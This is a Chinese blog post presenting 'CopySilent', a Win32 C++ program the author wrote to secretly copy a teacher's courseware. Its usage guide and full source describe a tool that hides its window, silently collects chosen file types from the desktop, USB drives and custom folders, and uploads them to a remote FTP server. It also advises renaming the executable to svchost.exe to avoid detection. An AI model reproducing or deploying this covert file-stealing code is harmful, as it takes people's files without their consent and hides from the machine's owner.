[CopySilent]纪念本菜当年第一个Win32程序

2009/12

1.简介

本程序旨在于对付不给拷课件的老师
软件最终的目的将是设计成为完全隐藏、实时监控、即时网络传输的一款软件正式版已经发布
copysilent是一款监控备份文件的软件,可以监控特定位置(桌面和U盘)和自定义目录的自定义类型文件,首次发现文件(或者发现文件被改动),即将文件拷贝到指定位置(自定义的本地备份目录下,或者远程FTP服务器上)。软件运行时隐藏窗口,但是可以在进程管理器里面发现进程,不想被发现的可以把程序重命名为svchost.exe等系统进程名。按下Win+Esc退出程序。
默认的配置如下面的一张图片(默认FTPserver=false图上为改动过的),默认本地备份开启,目录为D:\copysilent,默认FTP上传关闭,默认匿名登录,目录为/copysilent。


2.软件的功能&&特性

1.文件拷贝记录,记录未更新的文件,不再拷贝([v0.5已实现])
2.增加对U盘等可移动设备的检测支持[v0.8已实现]
3.增加深层监控,深层文件夹检测[v0.7已经实现]
4.FTP上传功能,传输到指定FTP服务器[敬请期待v1.0正式版]
5.自定义监控文件类型功能([v0.6已实现])
6.自定义监控目标功能[v0.8已实现]
7.自定义备份路径功能([v0.6已实现])
8.备份文件至FTP远程服务器(v1.0正式版已实现)


3.使用教程
1.拷贝本程序至要监控电脑(任何位置),如果没有配置文件config.ini,可以先运行一遍程序
(win+ESC退出,如果与系统热键冲突,只能使用任务管理器结束了),程序会自动生成默认的
配置文件config.ini,建议现在自己电脑上把配置文件配置好,将配置文件连同程序一道拷贝到监
控的机器上

2.v1.1版本新增可视化配置窗口,热键为WIN+C(即Configure,如果此热键已经被注册,则只能通过以下老办法修改配置文件)




2.按照自己的要求修改配置文件:(不是蓝字的行,都是参数行,自行修改)
文件的默认配置为:
[BackTarget]                   =>备份至:
LocalDisk=true                =>本地(true开启,false关闭,默认true)
FtpServer=false               =>FTP服务器(true开启,false关闭,默认false)
[BackPath]                      =>本地备份目录
Dir=D:\CopySilent           =>本地备份目录,只能写一个(默认D:\CopySilent)
[FTPserver]                     =>FTP服务器配置
ServerAdr=127.0.0.1       =>服务器IP,即你寝室电脑的IP,在寝室开服务器的时候看下
Username=anonymous    =>服务器登录用户名(这个和密码可以建服务器的时候建一个匿名账号,这样就不用修改这两项了)
Userpassword=               =>登录密码
[SpecialTarget]                =>特殊监控位置:
Desktop=true                 =>桌面(true开启,false关闭,默认true)
RemovableDisk=true        =>可移动设备(true开启,false关闭,默认true)
[CustomizeTarget]          =>自定义监控位置:
Path=                            =>自定义路径,格式为:D:\aaa\bbb,注意结尾不要“\”
[Type]                            =>监控文件类型,即后缀,可自己添加
Name=.ppt|.txt|.png       =>使用“|”隔开,注意不能缺少“.”,即“.doc”

3.保存配置文件注意:如果当前程序在运行,注意重启程序,使配置生效!!

4.运行程序



程序运行提示(下图):

程序文件:



程序日志:





关键代码:

//全局类
//===监控类型
class houzhuigroup
{ public:
TCHAR data[50][10];
size_t length;
BOOL addtohouzhuigroup(TCHAR* temp)
{ 

_tcscpy(data[length],temp);
length++;
return 1;
}
//构造函数
houzhuigroup()
{
length=0;
}
};
//====监控位置类
class target
{
public:
BOOL incdes;
BOOL incU;
size_t cusTarNum;
TCHAR szTarPath[10][MAX_PATH];
BOOL addtolist(TCHAR *s)
{
_tcscpy(szTarPath[cusTarNum],s);
cusTarNum++;
return true;

};
target()
{
incdes=true;
incU=true;
cusTarNum=0;
};

};
//====拷贝记录类
class copyedlist
{
public:
size_t length;
TCHAR FileName[1000][ MAX_PATH ]; 
FILETIME ftLastWriteTime[1000];
//构造函数
copyedlist()
{
length=0;
}
BOOL addtolist(TCHAR *name,FILETIME *time)
{
_tcscpy(FileName[length],name);
ftLastWriteTime[length].dwLowDateTime=time->dwLowDateTime;
ftLastWriteTime[length].dwHighDateTime=time->dwHighDateTime;
length++;
return 1;
}
UINT iscopyed(TCHAR *name,FILETIME *time)
{
for(size_t i=0;i<length;i++)
{
if(_tcscmp(FileName[i],name)==0)//名字相同
{
if(//修改时间相同
ftLastWriteTime[i].dwLowDateTime==time->dwLowDateTime&&
ftLastWriteTime[i].dwHighDateTime==time->dwHighDateTime)
return 2;//完全相同,不需拷贝
return 1;//文件被修改,修要重命名拷贝
}
}
return 0;//不存在,需要直接拷贝
}
BOOL update(TCHAR *name,FILETIME *time)
{
for(size_t i=0;i<length;i++)
{
if(_tcscmp(FileName[i],name)==0)
{
ftLastWriteTime[i].dwLowDateTime=time->dwLowDateTime;
ftLastWriteTime[i].dwHighDateTime=time->dwHighDateTime;
return 1;
}
}
return 0;//不存在
}
};

// Global Variables:
HINSTANCE hInst; // current instance
TCHAR szTitle[MAX_LOADSTRING]; // The title bar text
TCHAR szWindowClass[MAX_LOADSTRING]; // The title bar text
HWND hding;
TCHAR sznew[MAX_PATH];
houzhuigroup houzhuidata;
copyedlist copylistdata;
target targetdata;
TCHAR szProgPath[MAX_PATH];//全局程序路径
TCHAR szBackPath[MAX_PATH];//全局备份路径
TCHAR szstdPath[MAX_PATH];//全局STD扫描路径
TCHAR szFTPServername[30];//FTP地址
TCHAR szFTPusername[30]={0};//FTP用户名
TCHAR szFTPuserpass[30]={0};//FTP用户密码
BOOL bToFTP=FALSE;//配置变量 是否toFTP
BOOL bToDisk=TRUE;//配置变量 是否toDisk
HINTERNET hftpopen;//网络连接句柄
HINTERNET hftp;
HANDLE HERRLOG;//程序日志
DWORD dwreal;//程序日志返回参数
// Foward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
VOID CALLBACK MyTimerProc(HWND hwnd,UINT message,UINT idTimer,DWORD dwTime);
BOOL list(TCHAR szPath[MAX_PATH]);
BOOL copyproc(TCHAR *pfrom,TCHAR *pto);
BOOL isCopyed(WIN32_FIND_DATA wfd);
BOOL filetoftpserv(TCHAR *from,TCHAR *to);
//BOOL WINAPI WritePrivateProfileString(LPCTSTR lpAppName,LPCTSTR lpKeyName,LPCTSTR lpString,LPCTSTR lpFileName);


int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
MSG msg;
HACCEL hAccelTable;
//特殊位置路径 配置参数
TCHAR szboolSpTarDesktop[10];
TCHAR szboolSpTarRemovableDisk[10];
TCHAR szbooltoDisk[10];
TCHAR szbooltoftp[10];
TCHAR szCustomizeTarget[MAX_PATH];
// Initialize global strings
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_COPYSILENT, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);

// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow)) 
{
return FALSE;
}

hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_COPYSILENT);
//===========程序开始提示=================
MessageBox(NULL,L"程序已运行!同时按下Win+Esc退出程序!",L"CopySilent", MB_OK);

//=============初始化程序日志errlog===============
//获取当前工作目录路径
GetModuleFileName(NULL,szProgPath, MAX_PATH);
for(size_t i=_tcslen(szProgPath)-1;i!=0;i--)
{
if(szProgPath[i]==_T('\\'))
{
szProgPath[i+1]=_T('\0');
break;
}
}
SetCurrentDirectory(szProgPath);
HERRLOG=CreateFile(L"ERRLOG.TXT",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(HERRLOG,"Message:初始化ERRLOG成功...\n",sizeof("Message:初始化ERRLOG成功...\n")-1,&dwreal,NULL);

//==========初始化系统热键================
BOOL bReg=RegisterHotKey(
hding, // window to receive hot-key notification
123, // identifier of hot key
MOD_WIN, // key-modifier flags
VK_ESCAPE // virtual-key code
);
if(!bReg) WriteFile(HERRLOG,"热键注册失败...\n",sizeof("热键注册失败...\n")-1,&dwreal,NULL);

//============建立配置文件==================
WIN32_FIND_DATA wfd;
//获取配置文件路径
wsprintf(szProgPath,L"%sconfig.ini",szProgPath);
//开始搜索配置文件
if ( INVALID_HANDLE_VALUE==FindFirstFileW(szProgPath, &wfd) )
{
//创建配置文件,默认初始化
WriteFile(HERRLOG,"Message:初始化配置文件...\n",sizeof("Message:初始化配置文件...\n")-1,&dwreal,NULL);
WritePrivateProfileString(_T("BackTarget"),_T("LocalDisk"),_T("true"),szProgPath);
WritePrivateProfileString(_T("BackTarget"),_T("FtpServer"),_T("false"),szProgPath);
WritePrivateProfileString(_T("BackPath"),_T("Dir"),_T("D:\\CopySilent"),szProgPath);
WritePrivateProfileString(_T("FTPserver"),_T("ServerAdr"),_T("127.0.0.1"),szProgPath);
WritePrivateProfileString(_T("FTPserver"),_T("Username"),_T("anonymous"),szProgPath);
WritePrivateProfileString(_T("FTPserver"),_T("Userpassword"),_T(""),szProgPath);
WritePrivateProfileString(_T("SpecialTarget"),_T("Desktop"),_T("true"),szProgPath);
WritePrivateProfileString(_T("SpecialTarget"),_T("RemovableDisk"),_T("true"),szProgPath);
WritePrivateProfileString(_T("CustomizeTarget"),_T("Path"),_T(""),szProgPath);
WritePrivateProfileString(_T("Type"),_T("Name"),_T(".ppt|.txt|.png"),szProgPath);

}

TCHAR szType[MAX_PATH];
TCHAR szTypeGroup[50][10];
TCHAR szTest[50];
size_t typenum=0;
size_t j=0;
//=========读取创建配置文件===============
WriteFile(HERRLOG,"Message:读取配置文件..\n",sizeof("Message:读取配置文件..\n")-1,&dwreal,NULL);
GetPrivateProfileString(L"BackPath",L"Dir",L"D:\\CopySilent",szBackPath,MAX_PATH,szProgPath);
GetPrivateProfileString(L"Type",L"Name",L".ppt",szType,MAX_PATH,szProgPath);
GetPrivateProfileString(L"SpecialTarget",L"Desktop",L"true",szboolSpTarDesktop,MAX_PATH,szProgPath);
GetPrivateProfileString(L"SpecialTarget",L"RemovableDisk",L"true",szboolSpTarRemovableDisk,MAX_PATH,szProgPath);
GetPrivateProfileString(L"CustomizeTarget",L"Path",L"",szCustomizeTarget,MAX_PATH,szProgPath);
GetPrivateProfileString(L"BackTarget",L"LocalDisk",L"true",szbooltoDisk,MAX_PATH,szProgPath);
GetPrivateProfileString(L"BackTarget",L"FtpServer",L"false",szbooltoftp,MAX_PATH,szProgPath);
GetPrivateProfileString(L"FTPserver",L"ServerAdr",L"127.0.0.1",szFTPServername,MAX_PATH,szProgPath);
GetPrivateProfileString(L"FTPserver",L"Username",L"anonymous",szFTPusername,MAX_PATH,szProgPath);
GetPrivateProfileString(L"FTPserver",L"Userpassword",L"",szFTPuserpass,MAX_PATH,szProgPath);
//===分析备份方式
if (_tcscmp(szbooltoDisk,_T("false"))==0)
{
bToDisk=FALSE;
}
if (_tcscmp(szbooltoftp,_T("true"))==0)
{
bToFTP=true;
}
//===添加监控类型
if (_tcscmp(szboolSpTarDesktop,_T("false"))==0)
{
targetdata.incdes=false;
}
if (_tcscmp(szboolSpTarRemovableDisk,_T("false"))==0)
{
targetdata.incU=false;
}
//-------------------------------
for(size_t i2=0;i2!=_tcslen(szType);i2++)
{ 

if(szType[i2]==_T('|'))
{ szTypeGroup[typenum][j]=_T('\0');
j=0;
typenum++;
continue;

}
szTypeGroup[typenum][j++]=szType[i2];
}
szTypeGroup[typenum][j]=_T('\0');
//===添加监控位置
j=0;
for (size_t i4=0;i4!=_tcslen(szCustomizeTarget);i4++)
{
if (szCustomizeTarget[i4]==_T(','))
{
targetdata.szTarPath[targetdata.cusTarNum][j]=_T('\0');
j=0;
targetdata.cusTarNum++;
continue;
}
targetdata.szTarPath[targetdata.cusTarNum][j++]=szCustomizeTarget[i4];
}
targetdata.szTarPath[targetdata.cusTarNum][j]=_T('\0');
if (szCustomizeTarget[i4-1]!=_T(',')&&i4!=0)
{
targetdata.cusTarNum++;
}

//========初始化监视文件类型列表==========
for(size_t i3=0;i3<=typenum;i3++)
{
houzhuidata.addtohouzhuigroup(szTypeGroup[i3]);
}
//===============建立文件夹 ===============
//搜索目标目录
if ( INVALID_HANDLE_VALUE==FindFirstFileW(szBackPath, &wfd) )
{
//MessageBox(NULL,wfd.cFileName,L"CopySilent", MB_OK) ; 
if(CreateDirectory(szBackPath,NULL)==0) 
{
WriteFile(HERRLOG,"创建文件夹失败!程序退出!\n",sizeof("创建文件夹失败!程序退出!\n")-1,&dwreal,NULL);
// MessageBox(NULL,L"创建文件夹失败!程序退出!",L"CopySilent", MB_OK) ; 
return 0;
}
}

//===========建立定时器===================
UINT uResult;
// list(szPath);
uResult = SetTimer(hding, // handle to main window 
1, // timer identifier 
5000, // 10-second interval 
(TIMERPROC) MyTimerProc); // timer callback 
//=========================================
WriteFile(HERRLOG,"Message:准备工作完成...开始监视..\n",sizeof("Message:准备工作完成...开始监视..\n")-1,&dwreal,NULL);
// Main message loop:
while (GetMessage(&msg, NULL, 0, 0)) 
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
CloseHandle(HERRLOG);
return msg.wParam;
}


LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
TCHAR szHello[MAX_LOADSTRING];
LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING);

switch (message) 
{
//case WM_CREATE:
// MessageBox(NULL,L"程序创建",L"...",MB_OK);
// PostQuitMessage(0);
case WM_COMMAND:
wmId = LOWORD(wParam); 
wmEvent = HIWORD(wParam); 
// Parse the menu selections:
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
EndPaint(hWnd, &ps);
break;
//============定义热键响应==================
case WM_HOTKEY:
MessageBox(NULL,L"程序退出!!!",L"CopySilent", MB_OK);
PostQuitMessage(0);
//==========================================
case WM_DESTROY:
KillTimer(hWnd,1); 
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

// Mesage handler for about box.
LRESULT CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_INITDIALOG:
return TRUE;

case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) 
{
EndDialog(hDlg, LOWORD(wParam));
return TRUE;
}
break;
}
return FALSE;
}



VOID CALLBACK MyTimerProc( 
HWND hwnd, // handle to window for timer messages 
UINT message, // WM_TIMER message 
UINT idTimer, // timer identifier 
DWORD dwTime) // current system time 
{ 
//变量声明
TCHAR szDrives[MAX_PATH];
TCHAR *pszDrives;
size_t lengthofdrvpath;
static bool running=false;
char szErr[MAX_PATH];

//检测函数运行标记~~~
if (running)
{
return ;
}
else running=true;
//特殊位置扫描
if (targetdata.incdes==true)
{
SHGetSpecialFolderPath(NULL,szstdPath,CSIDL_DESKTOP,false);
list(szstdPath);
}
if (targetdata.incU==true)
{
GetLogicalDriveStrings(MAX_PATH,szDrives);
pszDrives=szDrives;
lengthofdrvpath=_tcslen(szDrives);
while (*pszDrives!=L'\0')
{
if (GetDriveType(pszDrives)==DRIVE_REMOVABLE)
{
// MessageBox(NULL,L"插入了U盘",L"CopySilent", MB_OK);
pszDrives[lengthofdrvpath-1]=L'\0';
wsprintf(szstdPath,L"%s",pszDrives);
sprintf(szErr,"Message:扫描U盘..%S\n",szstdPath);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
list(szstdPath); 
}


pszDrives+=lengthofdrvpath+1;
}


// MessageBox(NULL,szDrives,L"CopySilent", MB_OK);

}
//自定义位置扫描
for (size_t i5=0;i5!=targetdata.cusTarNum;i5++)
{
_tcscpy(szstdPath,targetdata.szTarPath[i5]);
//MessageBox(NULL,szstdPath,L"CopySilent", MB_OK);
list(szstdPath);

}
//重新结束函数标记...
sprintf(szErr,"Flag:例行扫描完成\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);

//关闭网络句柄
InternetCloseHandle(hftp);
InternetCloseHandle(hftpopen);

running=false;
} 

BOOL list(TCHAR szPath[MAX_PATH])
{

setlocale(LC_CTYPE, "chs");
//变量声明 
TCHAR szPath2[MAX_PATH]={0};
TCHAR szPath0[MAX_PATH]={0};
TCHAR szPath3[MAX_PATH]={0};
TCHAR szPath4[MAX_PATH]={0};
TCHAR szPath6[MAX_PATH]={0};
TCHAR szPath7[MAX_PATH]={0};
TCHAR szPath8[MAX_PATH]={0};
TCHAR des[MAX_PATH]={0};
TCHAR szHouzhui[MAX_PATH];
TCHAR szNewFileName[MAX_PATH]={0};
HANDLE WINAPI hfiles;
HANDLE WINAPI hfiles2;
WIN32_FIND_DATA wfd;
WIN32_FIND_DATA wfd2;
size_t i1;
size_t i;
size_t inum=0;//拷贝字符串,下标


_tcscpy(szPath2,szPath);//szPath2为原始路径,不含文件名
_tcscpy(szPath0,szPath);
_tcscat(szPath0,L"\\*.*" );
TCHAR *gethouzhui(TCHAR szHouzhui[MAX_PATH]);
TCHAR *sznewHZ;

//=============开始first搜索================
if ( INVALID_HANDLE_VALUE !=(hfiles= FindFirstFileW(szPath0, &wfd )) )
{
//如果是目录则递归
// WriteFile(HERRLOG,"搜索目标文件夹..\n",sizeof("搜索目标文件夹..\n")-1,&dwreal,NULL);
do{
if(wfd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY&&wcscmp(wfd.cFileName,_T("."))!=0&&wcscmp(wfd.cFileName,_T(".."))!=0)
{
TCHAR szPath5[MAX_PATH];
wsprintf(szPath5,L"%s\\%s",szPath2,wfd.cFileName);
list(szPath5);

}

//声明get后缀函数
TCHAR *gethouzhui(TCHAR szHouzhui[MAX_PATH]);
//get后缀
sznewHZ=gethouzhui(wfd.cFileName);
_tcscpy(szHouzhui,sznewHZ);
//开始搜索待复制项目
for(size_t i=0;i<houzhuidata.length;i++)
{
if (_tcscmp(szHouzhui,houzhuidata.data[i])==0)
{ 
wsprintf(szPath8,L"%s\\%s",szPath,wfd.cFileName);//获取文件路径
UINT copyid=copylistdata.iscopyed(szPath8,&wfd.ftLastWriteTime);
// MessageBox(NULL,houzhuidata.data[i],L"CopySilent", MB_OK);
if(copyid==0)
{ 
copylistdata.addtolist(szPath8,&wfd.ftLastWriteTime);
}
switch(copyid)
{ 
case 0://正常拷贝
szPath3[0]='\0';
_tcscpy(szPath3,szPath2);
_tcscat(szPath3,L"\\");
_tcscat(szPath3,wfd.cFileName);
szPath3[_tcslen(szPath3)+1]='\0';
szPath3[_tcslen(szPath3)+2]='\0';
//生成 层次备份目录
inum=0;
// MessageBox(NULL,szstdPath,L"CopySilent", MB_OK);
for(i=_tcslen(szstdPath);i<_tcslen(szPath3);i++)
{
szPath6[inum++]=szPath3[i];
}
szPath6[inum]=L'\0';
// MessageBox(NULL,szPath6,L"CopySilent", MB_OK);
wsprintf(szPath7,L"%s%s",szBackPath,szPath6);
//开始拷贝:
//网络传输:
if (bToFTP)
{
filetoftpserv(szPath3,szPath6);
}
if (bToDisk)
{
copyproc(szPath3,szPath7);
}

break;
case 1://重命名拷贝

#ifdef DUBUG
MessageBox(NULL,L"重命名拷贝!!",L"CopySilent", MB_OK);
#endif
i1=1;
//生成 层次备份目录
inum=0;
for(i=_tcslen(szstdPath);i<_tcslen(szPath2);i++)
{
szPath6[inum++]=szPath2[i];
}
szPath6[inum]=L'\0';//sz6是层次目录,"\abc"
if (bToFTP)
{
filetoftpserv(szPath8,szPath6);
}
if (!bToDisk) break;


while(1)
{ 
if(i1==100)
{
WriteFile(HERRLOG,"ERROR:100次重名..小兔很崩溃 不给你拷贝了...\n",sizeof("ERROR:100次重名..小兔很崩溃 不给你拷贝了...\n")-1,&dwreal,NULL);
break;
}
wsprintf(szNewFileName,L"%s\\%s",szPath2,wfd.cFileName);
wsprintf(des,L"%s\\(%d)%s",szPath7,i1++,wfd.cFileName);
#ifdef DEBUG
MessageBox(NULL,szNewFileName,L"CopySilent", MB_OK);
#endif //查找是否重名
if(INVALID_HANDLE_VALUE !=(hfiles2= FindFirstFileW(des,&wfd2 )))
{ 
continue;
}
else break;
}
szNewFileName[_tcslen(szNewFileName)+1]='\0';

if(copyproc(szNewFileName,des))
copylistdata.update(szNewFileName,&wfd.ftLastWriteTime);
break;
case 2://无需拷贝
#ifdef DUBUG
// MessageBox(NULL,L"文件已最新 -无需再拷贝!",L"CopySilent", MB_OK);
#endif
break;
default:
WriteFile(HERRLOG,"ERROR:copyid在意料之外!...\n",sizeof("ERROR:copyid在意料之外!...\n")-1,&dwreal,NULL);

}

}

}

}while(FindNextFile(hfiles,&wfd));
}

else WriteFile(HERRLOG,"ERROR:获取文件列表失败!\n",sizeof("ERROR:获取文件列表失败!\n")-1,&dwreal,NULL);

FindClose(hfiles);
FindClose(hfiles2);

return 0;
}

TCHAR *gethouzhui(TCHAR szHouzhui[MAX_PATH]){

size_t j=0;
for (size_t i=0;i!=_tcslen(szHouzhui);i++)
{
if (szHouzhui[i]=='.')
{
j=0;
}
sznew[j++]=szHouzhui[i];
}
sznew[j]='\0';
return sznew;
}

BOOL copyproc(TCHAR *pfrom,TCHAR *pto){
char szErr[MAX_PATH];

SHFILEOPSTRUCT FileOp={0}; 
FileOp.fFlags = FOF_NOCONFIRMATION| 
//FOF_SILENT|//安静那个模式,会导致创建文件夹失败

//FOF_NOERRORUI|//不出现错误提示,会导致创建文件夹失败

FOF_NOCONFIRMMKDIR //需要时直接创建一个文件夹,不需用户确定
;
FileOp.pFrom =pfrom; 
FileOp.pTo =pto; 
FileOp.wFunc = FO_COPY; 
if (0!=SHFileOperation(&FileOp))
{
sprintf(szErr,"ERROR:拷贝失败:\n From:%S\nTo :%S\n",pfrom,pto);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);


return 0;
}
WriteFile(HERRLOG,"Message:成功拷贝文件:\n",sizeof("Message:成功拷贝文件:\n")-1,&dwreal,NULL);
sprintf(szErr," From:%S\n To :%S\n",pfrom,pto);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);

return 1;

//return SHFileOperation(&FileOp) == 0; 
}

BOOL filetoftpserv(TCHAR *from,TCHAR *to)
{
TCHAR szCurDir[MAX_PATH]={0},sztmpPath[MAX_PATH];
TCHAR szerr[500];
int i;
unsigned long dwlength=MAX_PATH;
char szErr[MAX_PATH];
WIN32_FIND_DATA wfdfile;//find文件类型
HINTERNET hfind;//搜索句柄

sprintf(szErr,"Message:-----------------------------------------------------\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);


//修正to字符串
to+=1;
//初始化网络连接
if (hftpopen==NULL)
{
if ((hftpopen=InternetOpen(_T("ftp"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0))==NULL)
{
sprintf(szErr,"ERROR:网络初始化失败...\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}
else 
{
sprintf(szErr,"Message:网络初始化成功...\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}
}
else
{
sprintf(szErr,"Notice:网络已经初始化\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}
//连接FTP
if (hftp==NULL)
{ 
hftp=InternetConnect(hftpopen,szFTPServername,INTERNET_DEFAULT_FTP_PORT,szFTPusername,szFTPuserpass,INTERNET_SERVICE_FTP,INTERNET_FLAG_RELOAD,0);
if (hftp==NULL)
{

sprintf(szErr,"ERROR:连接ftp服务器失败..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);

}
else 
{
sprintf(szErr,"Message:连接ftp服务器成功..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}

}
else
{
sprintf(szErr,"Notice:ftp服务器已经连接..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}


//寻找上传目录

if (!(hfind=FtpFindFirstFile(hftp,_T("/copysilent"),&wfdfile,INTERNET_FLAG_RELOAD,NULL)))
{
sprintf(szErr,"Notice:未发现上传目录..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
//创建上传目录
if (!FtpCreateDirectory(hftp,_T("copysilent")))
{
sprintf(szErr,"ERROR:创建上传目录失败..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
return false;
}
else
{
sprintf(szErr,"Message:创建上传目录成功\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}


}
else
{
sprintf(szErr,"Notice:发现上传目录...\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}
InternetCloseHandle(hfind);//关闭搜索句柄

//设定当前路径
if (!FtpSetCurrentDirectory(hftp,_T("/copysilent")))
{

DWORD enumd;
TCHAR ss[MAX_PATH];
DWORD len=MAX_PATH;
InternetGetLastResponseInfo(&enumd,ss,&len);
sprintf(szErr,"ERROR:设置当前上传目录失败:%S\n",ss);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
return false;
}
else
{
sprintf(szErr,"Message:设置当前上传目录成功..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}
//建立层次目录
_tcscpy(sztmpPath,to);//拷贝“to”
i=_tcslen(sztmpPath);
while (--i>=0)
{
if (sztmpPath[i]==_T('\\'))
{
sztmpPath[i]=_T('\0');
if (!FtpCreateDirectory(hftp,sztmpPath))
{
DWORD enumd;
TCHAR ss[MAX_PATH];
DWORD len=MAX_PATH;
InternetGetLastResponseInfo(&enumd,ss,&len);
sprintf(szErr,"ERROR:建立层次文件夹失败:%S\n",ss);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}


break;
}
}
FtpSetCurrentDirectory(hftp,sztmpPath);
to+=i+1;//确定文件名起始位置




//获取当前路径
if (!FtpGetCurrentDirectory(hftp,szCurDir,&dwlength))
{
sprintf(szErr,"ERROR:获取当前路径失败..\n");
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);

}
else
{
sprintf(szErr,"Notice:当前FTP路径:%S\n",szCurDir);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}
//上传文件

if (!FtpPutFile(hftp,from,to,FTP_TRANSFER_TYPE_UNKNOWN|INTERNET_FLAG_RELOAD,NULL))
{


DWORD enumd;
TCHAR ss[MAX_PATH];
DWORD len=MAX_PATH;
InternetGetLastResponseInfo(&enumd,ss,&len);

sprintf(szErr,"ERROR:上传文件失败:\n%S From:%S\n To :%S\n",ss,from,to);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
return false;
}
else
{
sprintf(szErr,"Message:上传文件成功:\n From:%S\n To :%S\n",from,to);
WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL);
}



return 0;
}




  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值